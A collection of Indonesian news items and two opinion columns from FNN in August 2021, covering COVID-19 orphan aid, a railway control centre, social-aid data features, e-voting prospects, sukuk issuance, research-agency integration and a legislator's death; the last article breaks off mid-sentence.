Jakarta, FNN - Pemerintah Kota Jakarta Barat mendata anak yatim piatu karena orang tuanya meninggal terkena wabah COVID-19, guna mendapatkan bantuan sosial. Pendataan tersebut dilakukan dalam rapat pertemuan dengan pihak Kepala Seksi Kesejahteraan Masyarakat pada setiap kelurahan. "Jadi hari ini kami akan rapat koordinasi via zoom meeting nanti jam 3 sore bersama Kasie Kesra kelurahan," kata Seksi Perlindungan Sosial dan Penanganan Fakir Miskin Suku Dinas Sosial Jakarta Barat, Fatmawati di Jakarta, Jumat. Nantinya, anak-anak yatim yang berusia 12 tahun ke bawah bisa mendaftar diri ke kelurahan untuk mendapatkan bantuan dari pemerintah, serta menyerahkan beberapa persyaratan administratif ke petugas kelurahan, seperti Kartu Tanda Penduduk (KTP) dan kartu keluarga. "Yang dibutuhkan surat kematian dari rumah sakit, fotokopi KTP atau KK, ahli waris yang meninggal kemudian surat pernyataan positif bahwa betul meninggal karena wabah COVID-19," ujar Fatmawati. Setelah terdata, daftar nama tersebut akan diserahkan kepada wali kota untuk ditandatangani dan selanjutnya diserahkan ke pihak Kementerian Sosial RI. Jika berkaca kepada bantuan untuk anak yatim korban COVID-19 tahun lalu, setiap anak akan mendapatkan Rp15 juta. Namun untuk bantuan saat ini, Fatmawati belum bisa memastikan besaran jumlah yang akan diterima. "Kami belum bisa pastikan jumlahnya berapa," tutur Fatmawati. Fatmawati memastikan pihaknya akan mempercepat pendataan tersebut agar para anak yatim korban COVID-19 bisa mendapatkan bantuan lebih cepat. Sebelumnya, Wakil Gubernur Jakarta Ahmad Riza Patria, Kamis (19/8), mengungkapkan hingga kini ada sekitar 200 anak yang menjadi yatim di wilayah Jakarta Pusat akibat orang tuanya meninggal dunia karena COVID-19. Unuk itu, Pemerintah Provinsi DKI Jakarta akan mencarikan program bantuan bagi para anak yatim. (mth)

Indonesia Kini Punya Pusat Kendali Kereta di Purwokerto Jateng

Jakarta, FNN - Direktur Strategi Bisnis & Portofolio PT Len Industri (Persero), Linus Andor Mulana Sijabat menyampaikan bahwa Indonesia saat ini mempunyai Centralized Trafic Control (CTC) atau pusat kendali kereta di Purwokerto Jawa Tengah, untuk menjamin keselamatan dan efisiensi pengoperasian kereta. "Kini kendali stasiun akan dilakukan secara remote di CTC. Satu operator di CTC nantinya akan dapat mengendalikan beberapa stasiun langsung," kata Linus Andor Mulana Sijabat dalam keterangannya di Jakarta, Jumat. Linus mengatakan pengujian CTC di Purwokerto yang dibangun Kementerian Perhubungan berjalan dengan baik dan akan segera resmi beroperasi. Uji coba CTC atau sistem pengendalian perkeretaapian terpusat tersebut meliputi empat stasiun di Lintas Purwokerto-Randegan dan enam stasiun di Lintas Kemranjen-Karang Anyar. Menurut dia, pembangunan CTC akan dijadikan prototype uji pengendalian secara remote. CTC yang biasanya menjadi hal lumrah untuk kereta urban seperti MRT dan LRT, kini kereta konvensional antar kota atau mainline akan dilakukan hal yang sama. Dari sisi keselamatan, teknologi aplikasi tersebut dapat menyimpan dan mengolah data dari semua data interlocking yang digunakan di Indonesia, sehingga memudahkan operator dalam pengendalian sistem secara keseluruhan. Seluruh kegiatan operasi ini terekam dalam data logger, baik dalam penggunaan mode lokal di tiap stasiun maupun mode terpusat di CTC atau pusat kendali. “Teknologi yang tertanam pada CTC tersebut menggunakan user interface operator persinyalan yang dikembangkan PT Len Industri dan diimplementasikan pada CTC oleh anak perusahaannya, PT Len Railway Systems (LRS),” katanya. Sementara itu, Direktur Keselamatan Perkeretaapian, Edi Nur Salam telah memantau langsung uji coba pengoperasian tersebut di Stasiun Purwokerto, tepatnya di CTC DAOP 5 Purwokerto, pada Jumat (13/8). Ia mengatakan bahwa tuntutan teknologi membuat CTC Purwokerto sangat dibutuhkan dalam menjamin keselamatan serta efisiensi, baik pada transportasi urban maupun lintas mainline (antar kota). "Saat ini seluruh SDM sedang dalam tahap sertifikasi melalui Dirjen Keselamatan Perkeretaapian, dengan harapan tenaga SDM akan lebih handal dalam pengoperasian peralatan CTC," kata Edi. Peresmian CTC Purwokerto direncanakan dalam waktu dekat oleh PT KAI secara simbolis dengan penarikan operator (PPKA) di beberapa stasiun yang sudah dilayani CTC. Menyusul berikutnya akan segera diresmikan CTC Daop 6 Yogyakarta yang akan meremote seluruh operasional kereta di wilayah Yogyakarta. Sebagai informasi, PT Len Industri (Persero) adalah BUMN yang sudah berpengalaman puluhan tahun di bidang persinyalan kereta. Sedangkan PT LRS adalah anak perusahaannya yang khusus menangani sistem perkeretaapian. Didirikan sejak tahun 2012, LRS kini menjadi market leader E&M (Elektronik & Mekanik) perkeretaapian di Indonesia, termasuk produk, engineering dan jasa. (mth)

Mensos: Fitur "Usul" dan "Sanggah" Dorong Ketepatan Penyaluran Bansos

Jakarta, FNN - Menteri Sosial Tri Rismaharini menyatakan fitur "usul" dan "sanggah" di aplikasi Cek Bansos, mendorong ketepatan penyaluran bantuan sosial (bansos) di masyarakat. Aktivasi dua fitur tersebut, menurut Risma, juga sebagai terobosan dari permasalahan data selama ini, yakni adanya orang yang berhak mendapatkan bantuan, tapi tidak dapat (exclusion error), dan ada yang tidak berhak, tapi mendapatkan bantuan (inclusion error). “Ini juga merupakan upaya untuk terus mendorong ketepatan penyaluran bantuan sosial,” kata Risma dalam keterangannya yang diterima di Jakarta, Jumat. Risma mengatakan apabila terdapat perbedaan data yang disampaikan masyarakat dengan pemerintah daerah, maka akan diberlakukan mekanisme quality assurance yang akan dilakukan oleh perguruan tinggi. “Kalau ada dispute (perselisihan) nanti akan dilakukan penjaminan mutu oleh perguruan tinggi,” katanya. Menurut Risma, dalam UU No. 13/2011 warga tidak mampu berhak mengusulkan diri untuk mendapatkan bantuan. Dua fitur tersebut sebagai implementasi dari ketentuan dalam undang-undang yang memberikan kesempatan untuk mendapatkan bantuan sosial sejauh memang memenuhi ketentuan. Sebagai mandat dari undang-undang, maka partisipasi masyarakat adalah pilihan yang harus diambil dalam penyaluran bansos. Selain itu, juga karena besarnya data yang harus dikelola dan peran strategis data itu sendiri yang menjadi rujukan dari berbagai program dukungan untuk masyarakat kurang mampu. Risma memberikan perhatian serius terhadap aspek akuntabilitas penyaluran bansos. Dalam beberapa kali kunjungan ke daerah, Risma blusukan ke rumah warga. Kepada penerima bantuan, Risma mengecek langsung kesesuaian antara komoditas yang sudah diterima dengan indeks bantuan. Catatan dari kunjungan lapangan menjadi bahan evaluasi. Kini Kementerian Sosial terus mematangkan berbagai kebijakan untuk meningkatkan ketepatan sasaran dalam penyaluran bansos, termasuk di dalamnya dengan melibatkan penggunaan teknologi digital. Risma menyatakan langkah tersebut untuk memberikan transparansi, khususnya kepada masyarakat yang merasa berhak mendapatkan bantuan namun tidak mendapatkan dengan mengakses fitur “usul”, atau memberikan informasi bila mengetahui seseorang tidak layak namun mendapatkan bansos dengan mengakses fitur “sanggah”. Terbukanya akses masyarakat, dinilai Risma membawa dampak positif. Dengan dibukanya partisipasi masyarakat, maka proses pembaruan data juga semakin cepat. “Pemutakhiran data yang merupakan tugas pemerintah, makin terbantu dengan partisipasi masyarakat. Jadi jangan ada pandangan kewenangan pemerintah daerah ditiadakan,” kata dia. Sementara Deputi Pencegahan Komisi Pemberantasan Korupsi (KPK) Pahala Nainggolan menyatakan langkah Menteri Sosial Tri Rismaharini memberikan akses masyarakat terhadap perbaikan data kemiskinan melalui fitur “usul-sanggah” pada situs Cek Bansos, sejalan dengan langkah KPK. Kebijakan tersebut, katanya, memberikan penguatan pada aspek pencegahan terhadap kerugian negara dengan melibatkan masyarakat. KPK, menurut dia, telah mengaktifkan aplikasi Jaga Bansos sebagai sarana masyarakat bila menemukan masalah dengan penyaluran bansos. “Adanya (fitur) “usul-sanggah” (pada situs Cek Bansos) ini yang kami harapkan. Kalau kami, kan ada di hilir dengan menyiapkan aplikasi Jaga Bansos,” kata Pahala. (mth)

CISSReC Sebut e-Voting Pemilu 2024 Sangat Memungkinkan

Semarang, FNN - Ketua Lembaga Riset Siber Indonesia CISSReC Doktor Pratama Persadha menyatakan pemberian suara secara elektronik (e-Voting) pada Pemilihan Umum 2024 sangat memungkinkan guna mengantisipasi pandemi COVID-19 yang belum pasti kapan berakhirnya. "Apalagi, sudah ada data kependudukan yang dimanfaatkan secara digital oleh Direktorat Jenderal Kependudukan dan Pencatatan Sipil, Kementerian Dalam Negeri," kata Pratama Persadha menjawab pertanyaan ANTARA di Semarang, Jumat. Pratama yang pernah sebagai Ketua Tim Lembaga Sandi Negara (sekarang BSSN) Pengamanan Teknologi Informasi KPU pada Pemilu 2014 mengemukakan hal itu ketika merespons wacana pengunduran waktu pemilu dari 2024 menjadi 2027. Akan tetapi, lanjut pakar keamanan siber ini, praktik e-Voting ini memerlukan proses, misalnya berawal di kota-kota besar yang infrastrukturnya sudah mapan. Pratama memandang perlu memilih model e-Voting apakah langsung dari smartphone atau harus lewat tempat pemungutan suara (TPS) khusus. Hal ini mengingat di Amerika Serikat, misalnya, masih menyediakan tempat khusus untuk e-Voting. Sementara itu, di Estonia, pemilu elektronik disebut sebagai i-Voting, terdiri atas voting lewat mesin elektronik khusus yang disiapkan pemerintah; kedua, voting secara remote lewat internet dengan personal computer (PC) serta smarphone. Jika melihat sejarah e-Voting, kata Pratama, awalnya dibuat untuk percepat penghitungan suara. Dalam hal ini, pemilih melakukan pilihan di TPS khusus dengan alat pilih dan hitung elektronik sehingga hasil pemilu bisa diketahui langsung pada hari yang sama atau sehari setelahnya. Dengan adanya pandemi, kata dia, kebutuhan e-Voting telah bergeser ke voting secara remote lewat internet, yakni bisa dengan PC maupun smartphone pemilih. Hal ini yang lebih rumit dan membutuhkan pengamanan sistem yang lebih maju (advance). "Apakah dalam jangka waktu 3 tahun ke depan bangsa ini mampu menyiapkan infrastruktur terkait dengan e-Voting?" tanya ANTARA, Pratama lantas menjawab bahwa hal itu tergantung pada model e-Voting seperti apa dan sejauh mana kota yang akan uji coba yang sudah siap secara infrastruktur. "Prinsipnya bisa. Hanya secara regulasi di DPR ini yang akan memakan waktu lama. Soal teknis teknologinya, sebenarnya tidak menghabiskan banyak waktu," katanya. Badan Pengkajian dan Penerapan Teknologi (BPPT), kata dia, sudah memiliki teknologi e-Voting. Bahkan, pada tahun 2019 sudah diimplementasikan di 981 pemilihan kepala desa di Tanah Air. Namun, sistem yang dikembangkan BPPT adalah e-Voting di lokasi TPS, yang secara fungsi menghilangkan surat suara dan mempercepat hitungan karena tidak ada hitung manual. Model ini, menurut Pratama, nantinya bisa dilengkapi dengan teknologi voting via internet. (mth)

Penerbitan SBSN Capai Rp1.835 Triliun sampai Agustus 2021

Jakarta, FNN - Penerbitan Surat Berharga Syariah Negara (SBSN) mencapai Rp1.0835 triliun dengan outstanding saat ini mencapai Rp1.096 triliun sampai dengan 5 Agustus 2021, “(Nilai itu didapat) baik melalui metode penerbitan dengan cara lelang, book building,dan private placement,” kata Sekretaris Direktorat Jenderal Pengelolaan Pembiayaan dan Risiko (DJPPR) Kementerian Keuangan Iyan Rubiyanto dalam penerbitan SR015 secara daring di Jakarta, Jumat. Pemerintah mulai menerbitkan SBSN tahun 2008 sebagai sumber pembiayaan Anggaran Pendapatan dan Belanja Negara (APBN). Tidak hanya menjadi sumber dana, menurut Iyan, penerbitan SBSN juga wujud dukungan pemerintah pada perkembangan ekonomi syariah di Indonesia dan pasar global. Salah satu produk SBSN, sukuk ritel mulai diterbitkan satu tahun kemudian pada 2009. Sepanjang 2009 sampai Maret 2021, pemerintah telah menerbitkan SR001 sampai SR014 dengan total akumulasi dana mencapai Rp221,31 triliun. “Sebagai produksi investasi, sukuk ritel memiliki banyak keunggulan antara lain aman karena dijamin oleh pemerintah melalui Undang-Undang Nomor 19 Tahun 2008 tentang SBSN dan Undang-Undang tentang APBN,” imbuhnya. Sejak 2018, pemesanan dan pembelian sukuk ritel bisa dilakukan secara online melalui media distribusi sehingga masyarakat yang berminat bisa membeli kapanpun dan dimanapun selama masa penawaran. Pembelian pemesanan sukuk ritel, menurut Iyan, juga menguntungkan karena imbalan relatif lebih tinggi dibandingkan rata-rata deposito bank. Di samping itu, sukuk ritel juga dapat diperjualbelikan di pasar sekunder. “Hasil penjualan akan digunakan untuk pembiayaan APBN termasuk pembangunan infrastruktur sesuai kebutuhan,” imbuhnya. (mth)

Mantan Peneliti: Tempatkan Sains-Teknologi pada Posisi Strategis

Jakarta, FNN - Mantan peneliti senior di Lembaga Ilmu Pengetahuan Indonesia (LIPI) Jan Sopaheluwakan mengatakan perlu ada nasionalisme dalam menempatkan sains dan teknologi pada posisi strategis. "Ada nuansa nasionalisme bagaimana menempatkan sains dan teknologi itu pada posisi yang strategis," kata Jan Sopaheluwakan yang merupakan Deputi Bidang Jasa Ilmiah LIPI pada 2006-2011 dalam diskusi virtual di Jakarta, Jumat. Menurut dia, lanskap ilmu pengetahuan dan teknologi (Iptek) di Indonesia harus semakin jelas ke depan dan bukan dihela oleh kepentingan politik yang transaksional sehingga arah kebijakan Iptek tidak menjadi pragmatis dan tidak sinkron. Dia menuturkan harus dihindari potensi tumpang tindih kewenangan antara Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi yang berlevel kementerian dengan Badan Riset dan Inovasi Nasional (BRIN) yang hanya berbentuk badan karena antara ilmu pengetahuan, teknologi, riset, dan inovasi saling berkaitan, tetapi berbeda satu sama lain. Pada kesempatan itu, Forum Komunikasi Profesor Riset Kementerian Pertanian menawarkan dua opsi integrasi kelembagaan Badan Penelitian dan Pengembangan Pertanian (Balitbangtan) di Kementerian Pertanian ke BRIN, yakni soft integration dan integrasi parsial. Pada opsi soft integration, Ketua Forum Komunikasi Profesor Riset Kementerian Pertanian Tahlim Sudaryanto menuturkan kelembagaan tetap melekat di kementerian, tetapi program dan anggaran dikoordinasikan oleh BRIN. Pada opsi itu, keterkaitan riset dengan kebijakan/program kementerian masih terjaga, tidak menimbulkan gejolak dalam masa transisi. BRIN, kata dia, memang tidak memiliki kekuasaan penuh dalam koordinasi apabila opsi tersebut dipilih. Namun, Tahlim menuturkan opsi itu bisa menguatkan skema Prioritas Riset Nasional (PRN) 2020-2024. Pada opsi integrasi parsial, lanjut Tahlim, sebagian unit kerja litbang bertransformasi menjadi lembaga nonpenelitian dan pengembangan, dan sebagian berintegrasi dengan BRIN. Jika opsi itu dipilih, Tahlim menggarisbawahi perlunya pengunduran integrasi sepenuhnya ke BRIN dengan tidak dipatok hingga akhir 2022. Selain itu, jabatan fungsional peneliti masih dimungkinkan pada lembaga baru yang dibentuk Kementerian Pertanian. Selain itu, sebagian besar jabatan fungsional peneliti bisa berintegrasi dengan BRIN secara penuh. Tahlim mengatakan hasil kajian dua opsi integrasi itu telah disampaikan di berbagai forum, bukan hanya di internal Kementerian Pertanian, tapi juga di Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi serta Kementerian Sekretariat Negara. Integrasi penelitian dan pengembangan di kementerian/lembaga (K/L) menjadi salah satu yang didorong pemerintah. Melalui surat 22 Juli 2021, Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo meminta pejabat pembina kepegawaian di 48 K/L untuk memastikan pengalihan peneliti di penelitian dan pengembangan ke BRIN tuntas 31 Desember 2022. Tersedia tiga opsi integrasi, yakni integrasi total, integrasi parsial atau konversi ke nomenklatur, tugas, dan fungsi berbeda. BRIN akan menerima program, sumber daya manusia riset dan aset lain. Untuk menjamin karier, BRIN dan K/L akan memetakan dan menentukan pejabat fungsional peneliti yang dialihkan atau tidak dialihkan. Bagi yang tidak dialihkan ke BRIN, pejabat fungsional bisa beralih ke jabatan fungsional di K/L. Sementara itu, Kepala BRIN Laksana Tri Handoko sebelumnya mengatakan pihaknya terus berupaya mewujudkan ekosistem riset dan inovasi Indonesia yang kuat. "Kita perlu membangun ekosistem riset dan inovasi yang kuat serta mewujudkan kolaborasi solid antara para pemangku kepentingan yang didukung oleh kebijakan-kebijakan terkait," kata Handoko di Jakarta, Selasa (10/8). Ekosistem riset dan inovasi yang kuat dan kolaborasi solid diperlukan untuk mengoptimalkan semua potensi yang dimiliki Indonesia agar bisa menjadi negara yang maju. Handoko mengatakan Indonesia semakin dekat dengan cita-cita menjadi negara maju dengan lahirnya Undang Undang No 11 Tahun 2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi yang menjadi kunci dan fondasi yang kokoh untuk memperkuat ekosistem riset dan inovasi di Tanah Air. (mth)

Menduga Tangis Mega

By M Rizal Fadillah ANEH Ketum PDIP Megawati tiba tiba memuji Jokowi soal perhatian pada rakyat hingga kurus katanya. Ia pun mengecam mereka yang menjuluki kodok kepada Jokowi. Bergetar bermimik menangis. “Saya suka menangis” katanya. Terkesan pasang badan untuk Jokowi. Manuver politik apakah ini ? Wajar jika kemudian memunculkan banyak dugaan bahwa itu sebagai tangis derita, tangis bahagia, atau tangis buaya. Jika ini adalah tangis derita berarti Mega sedang tertekan. Lebay Ketua Partai Politik terbesar di negara Indonesia begitu memelas kepada petugas partai yang dikesankan bawahan. Ada tekanan besar yang dirasakan. Apakah ancaman Jokowi akan berkoalisi dengan Golkar atau all out untuk Ganjar ? Puan akan dibuat nyungsep. Tentu bukan telunjuk Jokowi sendiri yang mengancam tetapi bersama Luhut dan Republik Rakyat China. Untuk tangis bahagia adalah deal politik bahwa Jokowi dan oligarkhinya telah siap untuk menaikkan Puan ke singgasana tertinggi pada Pilpres 2024 atau 2027 yang artinya PDIP sepakat perpanjangan Jokowi hingga 2027. Menunggangi pandemi. Bahagia karena Puan bebas memilih pasangan yang syukur-syukur Gibran atau kroni pilihan Jokowi. Bahagia juga mungkin Juliari kader PDIP akan dihukum ringan. Nah air mata buaya adalah kepura-puraan “pukul anak sindir menantu”. Sebutan “kurus” dan “kodok” meski dengan narasi pembelaan tetapi bermakna sindiran sangat dalam. Memikirkan rakyat sebenarnya adalah menjadi pikiran rakyat. Rakyat yang bingung kepada Presiden yang selalu memikirkan kodok dan kecebong di kolam Istana. Kecebong yang pernah dimangsa biawak dan esok akan dimakan buaya. Setelah makan maka keluarlah air mata buaya itu. Cerita tangisan dalam sambutan peletakan batu pertama Pembangunan Perlindungan Kawasan Suci Pura Besakih di Bali itu viral di media. Memang aneh jika Puteri Proklamator Soekarno yang gagah dan biasa galak harus sedemikian cengeng dan terkesan pasang badan untuk petugas partainya yang kurus dan menurutnya sering dihina sebagai kodok tersebut. Politik adalah bidang yang kaya dengan segala kemungkinan. Aristoteles menyebut manusia adalah “zoon politicon” hewan yang berpolitik. Karenanya tak aneh jika kekuasaan dapat mengubah manusia untuk berperilaku seperti hewan apakah macan yang menakutkan, kancil yang menipu, bunglon yang bermimikri, kodok yang melompat, atau buaya yang berpura-pura mengeluarkan air mata. *) Pemerhati Politik dan Kebangsaan .

Belajar Logika Terbalik dari Ngabalin

Oleh Ady Amar JABATANNYA sebagai tenaga ahli utama Kantor Staf Presiden (KSP), dimana Pak Moeldoko sebagai Kepala KSP nya. Namanya Ali Mochtar Ngabalin. Selalu menyerang balik siapa saja yang mengkritik sang Bos, Presiden Joko Widodo (Jokowi). Kadang serangan baliknya lebih dahsyat dari kritikan pengamat atau mereka yang tidak sependapat dengan kebijakan penguasa. Tidak jelas benar apakah Ngabalin itu memang jubir resmi istana, tapi setidaknya orang mengenalnya sebagai jubir yang muncul jika Presiden Jokowi menurutnya dalam "bahaya". Dan ia muncul seolah petugas pemadam kebakaran. Tampaknya ia menikmati benar perannya. Ngabalin lalu menjadi langganan televisi berita, khususnya dalam tema dialog. Sepertinya senang mengundangnya, karena dialog akan seru jika ia tampil. Ngabalin memang selalu tampil all out. Menjadi hal biasa jika ia bicara tidak mau berhenti, tidak memberi kesempatan lawan dialognya untuk memberi penjelasan. Ngabalin terus memotong pembicaraan, ia tampil memonopoli pembicaraan. Moderator tampak sulit mencegah-menghentikan kebiasaan Ngabalin menyalak pembicaraan lawan debatnya. Dengan ciri khasnya mata melotot-lotot dan acap telunjuknya yang diarahkan pada lawan debatnya, menjadi kebiasaannya, sepertinya sudah jadi trade mark nya. Intonasi bicaranya keras meninggi, seperti tampak mau berantem. Tampilan Ngabalin memang menyebalkan buat yang tidak suka perdebatan model tidak biasa itu. Tapi bagi yang suka, menganggapnya itu entertaint yang malah buat ketawa. Menganggapnya seru, dan bisa menampakkan sisi lain dari seseorang yang membela sang Boss dengan lagak berlebihan. Televisi berita asyik menghadirkan dialog model demikian. Rasanya tidak bosan-bosan mengundang Ngabalin sebagai narsum, seperti wakil istana tidak ada yang lain selainnya. Mengundangnya itu tentu punya alasan tersendiri, dan itu pastinya menguntungkan. Konon acara dialog jika mengundang Ngabalin, lumayan tinggi ratingnya. Itu setidaknya alasan televisi mengundangnya, semata karena menguntungkan. Faktor menguntungkan itu yang menjadikan media televisi abai melihat aspek lainnya yang tidak kalah penting, informasi edukatif. Tampaknya aspek keuntungan selalu menang dan jadi pertimbangan utama. Bagi kalangan belum "cukup umur" sebaiknya hindari menyaksikan dialog model menyalak ala Ngabalin. Dialog dengan tidak memberi kesempatan lawan bicara dalam berargumen, itu bukan budaya baik. Tidak patut dicontoh, bisa jadi akan mengganggu perkembangan mental anak yang baru akan menginjak dewasa. Takutnya anak-anak tadi menganggap, bahwa dialog menang-menangan dengan tidak menghargai lawan bicara itu hal lumrah. Pernyataan Kontroversial Andalannya Ali Mochtar Ngabalin, jika ia aktor sinetron/film, mungkin peran antagonis menjadi peran yang pas untuknya. Ia mampu memerankan peran yang menyebabkan orang lain terkaget-kaget dan "mual". Dan itu lewat pernyataannya. Ia acap memakai diksi dan narasi yang umum tidak biasa lakukan. Misal, menjuluki Pak Busro Muqodas, dengan otak sungsang. Sebelumnya, Pak Amien Rais disebutnya, mulut Amien Rais tak sematang usianya, artinya seseorang yang sudah lamban berpikirnya. Ia tidak segan mengatakan narasi menyerangnya, itu pada tokoh-tokoh senior dan "lurus" dikarenakan kritiknya pada sang Bos. Saat ramai muncul komen berkenaan mural seseorang yang mirip Presiden Jokowi, yang matanya ditutup tulisan 404: Not Found, di Batuceper, Tangerang. Maka, seperti biasanya, Ngabalin menyerang mereka yang menganggap mural bagian dari ekspresi yang tidak patut dibungkam, itu dengan manusia "kelas kambing". "Hanya warga negara kelas kambing yang tidak punya peradaban, menghina kepala negara #JokowiAdalahKita," komennya. Bahkan tidak cukup sampai disitu saja, tapi ia perlu tambahkan bahwa manusia "kelas kambing" itu dengan sebutan kelompok kadal kadrun. Dengan menyebut demikian, seolah mau menegaskan, bahwa ia sebenarnya ada di kubu cebong. Tampaknya Ngabalin akan terus gunakan diksi dan narasi tidak biasa, dan ia memang menikmatinya. Kita seolah diminta untuk memaklumi, bahwa ia sedang bekerja, sedang menjalankan tugasnya sebagai "penjaga" sang Bos. Maka apa saja ia akan lakukan. Itu pilihan yang pastilah sudah dihitung cermat seorang Ngabalin. Tentu peran yang dimainkannya, pastilah peran yang dapat restu penuh istana. Jika istana jengah dengan sikapnya, pastilah diksi dan narasi yang dipakai Ngabalin tidak demikian. Atau setidaknya sikapnya terkoreksi menjadi lebih lembut. Maka, memang cuma istana yang mampu melembut dan kasarkan sikapnya. Menarik ungkapan pegiat dakwah, yang hampir tidak pernah berkomentar masalah politik, lalu lewat Twitternya, ia harus berkomentar. Ia adalah Ustadz Salim A. Fillah. Meski tidak menyebut nama Ali Mochtar Ngabalin, ia hanya menulis satu paragraf singkat, "Kambing tidak menjilat dan tidak menggonggong". Lalu netizen ramai-ramai menimpali, dan salah satunya, "Yang kebiasaan menjilat dan menggonggong... binatang itu namanya anjing (asu, kirik)". Logika kita mesti terbalik, setidaknya diajak Ngabalin untuk terbalik, bahwa binatang anjing derajat atau kelasnya lebih tinggi ketimbang kambing. Memangnya situ pernah makan daging anjing, ya?! (*) *) Kolumnis

Anggota DPR RI Termuda Percha Leanpuri Meninggal Dunia

Jakarta, FNN - Anggota DPR RI Komisi IX fraksi Nasdem Percha Leanpuri yang juga anak Gubernur Sumatera Selatan Herman Deru mengalami kondisi yang tak stabil usai melahirkan, sebelum diumumkan meninggal dunia Kamis (19/8). Mendiang diketahui sempat terpapar Covid-19 dan dirawat hingga pulih serta dinyatakan negatif sebelum melahirkan anak kembar di RSUP Dr Mohammad Hosein Palembang. Namun setelah melahirkan secara operasi caesar, kondisi Percha tak menentu. "Setelah melahirkan kondisinya naik-turun, kadang stabil kadang tidak stabil. Sempat kritis beberapa hari hingga akhirnya Allah berkehendak lain," ujar Pelaksana Harian Sekretaris Daerah Sumatera Selatan, Akhmad Najib, dikutip CNN Indonesia, Kamis (19/8). Wakil Sekretaris Fraksi Partai Nasdem DPR RI Charles Meikyansah menyampaikan Percha Leanpuri menginggal dalam usia 35 tahun sekitar pukul 17.45 WIB di Sumatera Selatan, 10 hari pasca-melahirkan anak kembar. "Almarhumah meninggal dunia 10 hari setelah melahirkan dua anak kembarnya. Dari informasi yang kami terima, beliau menjalani operasi caesar pada 9 Agustus lalu," ungkap Charles dalam keterangannya, Kamis (19/8/2021) malam. Kabag Humas Pemprov Sumsel Septriandi Setia Permana, sempat mengabarkan kondisi Percha sempat membaik. Hj Percha Leanpuri, B.Bus.,MBA, lahir di Belitang, OKU Timur pada 24 Juni 1986. Percha adalah Anggota DPR RI termuda dari Fraksi Partai Nasdem Dapil Sumatera Selatan II. Ia pula merupakan Duta Literasi Sumatera Selatan sejak 2018 lalu. Almarhumah adalah lulusan Victoria University dan University Of Ballarat Malaysia. Dia dikenal berprestasi termasuk di bidang seni dan modeling. Almarhumah pernah menjadi The best catwalk supermodel YAPMI Sumsel di 2001 dan pernah mewakili Indonesia sebagai penari di Floriade 2001, Amsterdam, Belanda. Pada 2009-2014 lalu, Percha tercatat sebagai Anggota DPD RI. Suaminya bernama Syamsudin Isaac Suryamanggala. Sebelum meninggal ia baru saja melahirkan anak kembar pada 9 Agustus 2021 melalui operasi caesar. Dikutip dari Tribunnews.com, arti nama Percha Leanpuri dari sang ayah Herman Deru. Percha Leanpuri adalah beberapa akronim. "Itu kan artinya Percha (Percampuran), sedangkan Leanpuri (Lematang, Ogan, Way Umpu, dan Komering)," jelasnya. Mencirikan Sumatera bagian Selatan. Jadi kalau orang tua saya dan saya pun selalu bikin nama anak begitu yang mengingatkan sesuatu," ujar Herman Deru yang lahir di Belitang, Ogan Komering Ulu Timur, 17 November 1967. Keseharian Percha Leanpuri juga ditunjuk sebagai Duta Literasi Sumsel. Duta Literasi Sumsel, menurut Percha saat ini memang harus keterampilan dalam menyikapi perkembangan dunia digital dengan dibarengi untuk gemar membaca dan menulis. "Dengan perkembangan media sosial sekarang ini, sebenarnya bisa dimanfaatkan untuk hal-hal yang positif. Sehingga tidak melanggar etika dan budaya sehingga bisa bersifat positif. Dengan kemajuan dunia digital juga, bisa dimanfaatkan untuk tetap membaca maupun menulis," ungkapnya. Percha Leanpuri terpilih secara aklamasi sebagai Ketua Umum Persatuan Boling Indonesia (PBI) periode 2019-2023 dalam Musyawarah Nasional 2018 di Hotel Ambhara, Jakarta Selatan, Jumat (7/12/2018). Percha mendapat 10 suara dari 16 perwakilan pengurus provinsi (pengprov). Sebelumnya, ada tiga calon yang bersaing dalam Ketua PBI 2019-2023. Dua lainnya yaitu, Hermawan Irawan dan David Purnomo. Percha pun jadi wanita pertama yang memimpin PBI. "Terima kasih atas dukungan rekan-rekan Pengprov di Tanah Air. Juga untuk media yang selama ini aktif memberitakan boling," kata Percha dalam sambutannya. "Saya punya visi dan misi yang akan dijalankan bersama pengurus lainnya. Pertama, demi menjadikan boling Indonesia semakin berprestasi. Sekaligus, digemari masyarakat," ungkapnya. Selain itu, Percha bakal menyelenggarakan pembinaan atlet yang berkualitas, berjenjang dan terintegrasi. Juga, meningkatkan prestasi atlet dengan pendekatan Ilmu Pengetahuan dan Teknologi (Iptek). Percha juga menegaskan untuk boling sebagai olahraga yang mampu meraih prestasi dalam setiap kejuaraan lntemasional. Salah satunya, dengan mengajukan sebagai tuan rumah AMF Bowling World Cup 2019. "Kami akan mendorong pembangunan Bowling Center di setiap provinsi. Melakukan konsolidasi pengrov PBI dalam rangka penambahan penguatan dan Kemandirian," ungkapnya "Juga menyosilisasikan olahraga boling ke media cetak online dan elektronik," tutur Percha. Percha memimpin induk organisasi boling di Tanah Air mendapat sambutan hangat banyak pihak.Termasuk, Wakil Ketua Pengprov PBI Sumsel Nirmala Dewi. "Menurut kami, Percha merupakan sosok yang tepat. Beliau masih muda, energik, berkomitmen, dan memiliki inisiatif," jelas Nirmala. Meski berasal dari Sumsel, Percha bakal fair kepada pengprov lainnya. Baik itu yang ada di pulau Jawa dan lainnya. Percha bakal merangkul semua pihak. Termasuk, generasi milenial yang bersama PBI memajukan boling Indonesia. Ada kisah di balik kehamilan Percha Leanpuri. Beberapa waktu lalu, Percha pernah bercerita kepada Tribun Sumsel terkait kehamilan keduanya itu. "Allah menggerakan hati Percha dan suami melalui Danis," kata Percha saat diwawancarai secara khusus oleh tim Tribun Sumsel di Griya Agung beberapa waktu lalu. Percha yang didampingi sang suami Syamsuddin Isaac Suryamanggala, Sp.OG atau yang sering disapa Koko mengatakan, jaraknya dengan Muhammad Mandala Sultan Persya, dengan nama panggilan Danis, 7 tahun. "Sebenarnya sudah dari akhir tahun lalu, Danis mintak adek. Danis tiba-tiba mintaknya, karena selama ini nggak pernah pengen adek," ceritanya. Ia pun melanjutkan, selama ini Percha dan suami juga nggak kepikiran untuk menambah lagi. Sebab sudah banyak kesibukan yang dijalani. Alhamdulillah juga udah punya Danis. Ternyata Allah punya rencana lain, Allah menggerakan hati Percha dan suami melalui Danis. Dimana dalam perjalanan suatu ketika saat di Kapal dari Jakarta ke Palembang Danis sambil tiduran di paha saya bilang, mami kapan diperutnya mami ada adek. Lalu pernah juga waktu di jalan mau ke Danau Shuji, mami tahun berapa Danis 